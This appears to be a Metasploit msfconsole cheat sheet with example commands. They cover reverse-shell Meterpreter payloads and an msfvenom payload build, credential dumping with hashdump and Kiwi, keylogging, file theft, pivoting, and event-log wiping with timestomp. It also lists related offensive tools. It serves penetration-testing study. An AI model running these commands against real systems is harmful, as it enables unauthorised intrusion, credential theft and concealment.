msfconsoleLaunches the Metasploit Framework interactive console.
The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database.
sudo apt install metasploit-frameworkmsfconsoleLaunches the Metasploit Framework interactive console.
msfconsole -qStarts the console in quiet mode, suppressing the startup banner.
helpDisplays the main help menu with a list of available commands.
versionShows the current version of the Metasploit Framework.
historyDisplays a list of previously executed commands in the current session.
connectUses the built-in Netcat-like utility to connect to a remote host and port.
Example
connect 192.168.1.10 80db_statusChecks the connection status to the backend database.
workspaceLists all available workspaces in the database.
workspace -aCreates and switches to a new workspace named Target_Alpha.
Example
workspace -a Target_AlphaworkspaceSwitches the current active workspace to Target_Alpha.
Example
workspace Target_Alphadb_nmapRuns Nmap within Metasploit and automatically saves results to the database.
Example
db_nmap -sV 192.168.1.10hostsLists all hosts found and stored in the current workspace database.
servicesLists all services and open ports discovered on stored hosts.
services -pFilters and displays only hosts with port 445 open.
Example
services -p 445vulnsDisplays vulnerabilities associated with hosts in the database.
credsLists all credentials (usernames, passwords, hashes) gathered in the database.
show optionsLists the required and optional parameters for the current module.
show targetsLists the operating systems or versions supported by the exploit.
show payloadsLists compatible payloads for the currently selected exploit.
show advancedDisplays advanced configuration options for fine-tuning the module.
setConfigures a specific option (e.g., target IP) for the module.
Example
set RHOSTS 192.168.1.10setgSets a global variable that persists across different modules.
Example
setg RHOSTS 192.168.1.10unsetRemoves the value of a specific option.
Example
unset RHOSTSset TARGETManually selects a specific target ID from the 'show targets' list.
Example
set TARGET 3set PAYLOADAssigns a specific payload to be delivered by the exploit.
Example
set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOSTSets the local IP address for the payload to connect back to.
Example
set LHOST 192.168.1.50set LPORTSets the local listening port for the reverse connection.
Example
set LPORT 4444checkAttempts to verify if the target is vulnerable without exploiting it.
exploitExecutes the exploit module against the target.
exploit -jRuns the exploit in the background as a job.
exploit -zExploits the target but keeps the session in the background immediately.
set ForceExploitForces the exploit to run even if the check determines the target is not vulnerable.
Example
set ForceExploit truesessionsLists all active sessions connected to the framework.
sessions -iInteracts with specific session ID 1.
Example
sessions -i 1sessions -kKills and terminates session ID 2.
Example
sessions -k 2sessions -uAttempts to upgrade a shell session (ID 1) to a Meterpreter session.
Example
sessions -u 1backgroundMoves the current interactive session to the background.
sysinfoDisplays system information about the compromised host (OS, Arch, Domain).
getuidDisplays the user identity that the Meterpreter session is running as.
getpidShows the Process ID (PID) of the current Meterpreter session.
getprivsLists the privileges available to the current user process.
psLists all running processes on the target system.
migrateMoves the Meterpreter session into another process ID to ensure persistence.
Example
migrate 1432pwdPrints the current working directory on the remote target.
lsLists files and directories in the current remote folder.
cdChanges the directory on the remote target.
Example
cd C:\Windows\TempcatReads and displays the contents of a file on the remote target.
Example
cat config.txtlpwdPrints the local working directory (on the attacker's machine).
lcdChanges the local working directory on the attacker's machine.
Example
lcd /root/lootuploadUploads a file from the attacker's machine to the target system.
Example
upload /root/tools/nc.exe C:\Windows\Temp\nc.exedownloadDownloads a file from the target system to the attacker's machine.
Example
download C:\Users\Alice\Desktop\passwords.txtsearchSearches for files matching a pattern on the remote file system.
Example
search -f *.docxipconfigDisplays the network interfaces and IP addresses of the target.
ifconfigAlternative command to display network interfaces (Linux/Unix).
netstatDisplays active network connections and listening ports on the target.
arpDisplays the ARP cache of the target system.
routeDisplays the routing table of the target system.
portfwd addForwards a local port to a remote service through the Meterpreter session.
Example
portfwd add -l 8080 -p 80 -r 10.10.10.5portfwd listLists active port forwarding rules in the current session.
resolveResolves a hostname to an IP address on the target network.
Example
resolve internal.lab.localshellDrops into a standard system shell (cmd.exe or /bin/bash) on the target.
executeExecutes a command on the remote target, optionally hidden and interactive.
Example
execute -f cmd.exe -i -HshutdownShuts down the remote computer (Use with extreme caution).
rebootReboots the remote computer (Use with extreme caution).
getsystemAttempts multiple techniques to elevate privileges to SYSTEM/Root.
hashdumpDumps the SAM database contents (password hashes) from the target.
load kiwiLoads the Kiwi extension (Mimikatz integration) for advanced credential theft.
creds_allRetrieves all available credentials using the Kiwi extension.
screenshotTakes a screenshot of the target's current desktop.
screenshareStreams the target's desktop to a browser on the attacker's machine.
keyscan_startStarts the keylogger to capture keystrokes on the target.
keyscan_dumpDumps the captured keystrokes from the memory buffer.
keyscan_stopStops the keylogger capture process.
idletimeDisplays how long the remote user has been idle.
use postSelects a post-exploitation module to gather info from a session.
Example
use post/windows/gather/enum_applicationsset SESSIONLinks a post-exploitation module to an active session ID.
Example
set SESSION 1run post/windows/gather/checkvmChecks if the target system is a virtual machine.
run post/windows/manage/migrateAutomatically migrates the session to a stable process.
run post/linux/gather/hashdumpDumps password hashes from a Linux target shadow file.
run post/multi/recon/local_exploit_suggesterSuggests local exploits for privilege escalation based on system info.
route addRoutes traffic for the 10.10.10.0 network through session ID 1.
Example
route add 10.10.10.0 255.255.255.0 1route printDisplays the current routing table within Metasploit.
run autorouteAutomatically adds a route to a subnet via the current Meterpreter session.
Example
run autoroute -s 10.10.10.0/24use auxiliary/server/socks_proxyStarts a SOCKS proxy to allow external tools to use the pivot.
makercSaves the commands executed in the current session to a resource file.
Example
makerc startup.rcresourceExecutes a list of commands stored in a resource script file.
Example
resource startup.rcmsfconsole -rLaunches Metasploit and immediately runs the specified resource script.
Example
msfconsole -r automated.rcmsfvenomGenerates a standalone payload executable from the command line (outside console).
Example
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exeloadLoads a plugin (e.g., PowerShell) into the Metasploit framework.
Example
load powershellunloadUnloads an active plugin or extension.
Example
unload kiwiadvancedShows advanced options for the current module (alias for show advanced).
editOpens the currently selected module code in the default text editor.
reload_allReloads all modules from the disk, useful if you edited a module.
clearevClears the Application, System, and Security event logs on Windows (Meterpreter).
timestompManipulates file timestamps (MACE attributes) to hide file modification times.
Example
timestomp file.txt -vrmDeletes a file on the remote system (Standard Meterpreter command).
Example
rm C:\Windows\Temp\payload.exeload wmapLoads the WMAP web application scanning plugin.
wmap_sites -aAdds a site to the WMAP target list.
Example
wmap_sites -a http://192.168.1.10wmap_targets -tSets the target URL for WMAP scanning.
Example
wmap_targets -t http://192.168.1.10wmap_run -eRuns the WMAP modules against the configured targets.
db_importImports scan results from tools like Nessus or Nmap into the database.
Example
db_import scan_results.xmltransport listLists available transport mechanisms (e.g., HTTP, TCP) for the current session.
transport addAdds a secondary transport layer to a Meterpreter session for redundancy.
Example
transport add -t reverse_tcp -l 192.168.1.50 -p 5555transport nextForces the Meterpreter session to switch to the next available transport.
load pythonLoads the Python extension to run Python scripts within Meterpreter.
debugEnables debugging output for troubleshooting module issues.
irbDrops into an interactive Ruby shell within the current session context.
set HandlerSSLCertUses a custom SSL certificate for HTTPS listeners to mimic legitimate traffic.
Example
set HandlerSSLCert /path/to/cert.pemexitExits the Metasploit console.
The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database.
Metasploit’s payload generator and encoder: builds shellcode, executables and scripts for many platforms and formats.
The command-line search for a local copy of Exploit-DB — find, examine and copy exploits by product, version or CVE.
An open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants.
A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries.
The Exploit Database archive: public exploits and proof-of-concept code, searchable offline via its local copy.